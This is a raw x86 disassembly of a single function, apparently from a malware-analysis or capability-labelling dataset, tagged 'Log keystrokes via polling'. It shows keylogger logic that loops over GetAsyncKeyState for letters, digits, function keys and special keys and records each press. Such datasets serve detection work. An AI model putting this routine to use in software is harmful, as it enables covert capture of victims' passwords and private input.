Function at 0x489ccc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x48a0f0
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
push ebx
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489b87
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404290
mov eax, dword [ebp - 8]
call fcn.0048a4d4
inc ebx
cmp ebx, 0x5b
jne 0x489b6b
mov ebx, 0x60
push ebx
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489bb2
lea edx, [ebp - 0xc]
mov eax, ebx
sub eax, 0x61
inc eax
call fcn.00408574
mov eax, dword [ebp - 0xc]
call fcn.0048a4d4
inc ebx
cmp ebx, 0x6a
jne 0x489b92
mov ebx, 0x70
push ebx
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489bf7
push 0x48a104
lea edx, [ebp - 0x14]
mov eax, ebx
sub eax, 0x70
inc eax
call fcn.00408574
push dword [ebp - 0x14]
push 0x48a110
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404428
mov eax, dword [ebp - 0x10]
call fcn.0048a4d4
inc ebx
cmp ebx, 0x88
jne 0x489bbd
mov ebx, 0x30
push ebx
call sub.user32.dll_GetAsyncKeyState
test al, 1
je case.default.0x489c2e
call fcn.0048a4c4
test al, al
je 0x489cd8
mov eax, ebx
sub eax, 0x30
cmp eax, 9
ja case.default.0x489c2e
jmp dword [eax*4 + 0x489c35]
mov eax, 0x48a11c
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a128
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a134
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a140
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a14c
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a158
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a164
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a170
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a17c
call fcn.0048a4d4
jmp case.default.0x489c2e
mov eax, 0x48a188
call fcn.0048a4d4
jmp case.default.0x489c2e
lea edx, [ebp - 0x18]
mov eax, ebx
sub eax, 0x30
call fcn.00408574
mov eax, dword [ebp - 0x18]
call fcn.0048a4d4
inc ebx
cmp ebx, 0x3a
jne 0x489c05
push 8
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d0c
mov eax, 0x48a194
call fcn.0048a4d4
push 9
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d21
mov eax, 0x48a1ac
call fcn.0048a4d4
push 0xd
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d36
mov eax, 0x48a1bc
call fcn.0048a4d4
push 0x10
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d4b
mov eax, 0x48a1c8
call fcn.0048a4d4
push 0x11
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d60
mov eax, 0x48a1dc
call fcn.0048a4d4
push 0x12
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d75
mov eax, 0x48a1f0
call fcn.0048a4d4
push 0x13
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d8a
mov eax, 0x48a200
call fcn.0048a4d4
push 0x1b
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489d9f
mov eax, 0x48a214
call fcn.0048a4d4
push 0x20
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489db4
mov eax, 0x48a224
call fcn.0048a4d4
push 0x23
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489dc9
mov eax, 0x48a230
call fcn.0048a4d4
push 0x24
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489dde
mov eax, 0x48a240
call fcn.0048a4d4
push 0x25
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489df3
mov eax, 0x48a254
call fcn.0048a4d4
push 0x27
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e08
mov eax, 0x48a268
call fcn.0048a4d4
push 0x26
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e1d
mov eax, 0x48a27c
call fcn.0048a4d4
push 0x28
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e32
mov eax, 0x48a28c
call fcn.0048a4d4
push 0x2d
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e47
mov eax, 0x48a2a0
call fcn.0048a4d4
push 0x6a
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e5c
mov eax, 0x48a170
call fcn.0048a4d4
push 0x6b
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e71
mov eax, 0x48a2b4
call fcn.0048a4d4
push 0x6d
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e86
mov eax, 0x48a2c0
call fcn.0048a4d4
push 0x6e
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489e9b
mov eax, 0x48a2cc
call fcn.0048a4d4
push 0x6f
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489eb0
mov eax, 0x48a2d8
call fcn.0048a4d4
push 0x90
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489ec8
mov eax, 0x48a2e4
call fcn.0048a4d4
push 0x14
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489edd
mov eax, 0x48a2f8
call fcn.0048a4d4
push 0x91
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489ef5
mov eax, 0x48a310
call fcn.0048a4d4
push 0x2e
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489f0a
mov eax, 0x48a328
call fcn.0048a4d4
push 0x21
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489f1f
mov eax, 0x48a33c
call fcn.0048a4d4
push 0x22
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489f34
mov eax, 0x48a34c
call fcn.0048a4d4
push 0x2a
call sub.user32.dll_GetAsyncKeyState
test al, 1
je 0x489f49
mov eax, 0x48a35c
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a374
mov edx, 0x48a380
mov eax, 0xba
call fcn.0048a438
test al, al
je 0x489f6d
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a38c
mov edx, 0x48a2b4
mov eax, 0xbb
call fcn.0048a438
test al, al
je 0x489f91
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a398
mov edx, 0x48a3a4
mov eax, 0xbc
call fcn.0048a438
test al, al
je 0x489fb5
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a2c0
mov edx, 0x48a3b0
mov eax, 0xbd
call fcn.0048a438
test al, al
je 0x489fd9
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a2cc
mov edx, 0x48a3bc
mov eax, 0xbe
call fcn.0048a438
test al, al
je 0x489ffd
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a2d8
mov edx, 0x48a3c8
mov eax, 0xbf
call fcn.0048a438
test al, al
je 0x48a021
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a3d4
mov edx, 0x48a3e0
mov eax, 0xc0
call fcn.0048a438
test al, al
je 0x48a045
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a3ec
mov edx, 0x48a3f8
mov eax, 0xdb
call fcn.0048a438
test al, al
je 0x48a069
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a404
mov edx, 0x48a410
mov eax, 0xdc
call fcn.0048a438
test al, al
je 0x48a08d
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a41c
mov edx, 0x48a110
mov eax, 0xdd
call fcn.0048a438
test al, al
je 0x48a0b1
mov eax, dword [ebp - 4]
call fcn.0048a4d4
lea eax, [ebp - 4]
push eax
mov ecx, 0x48a428
mov edx, 0x48a434
mov eax, 0xde
call fcn.0048a438
test al, al
je 0x48a0d5
mov eax, dword [ebp - 4]
call fcn.0048a4d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a0f7
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004040cc
ret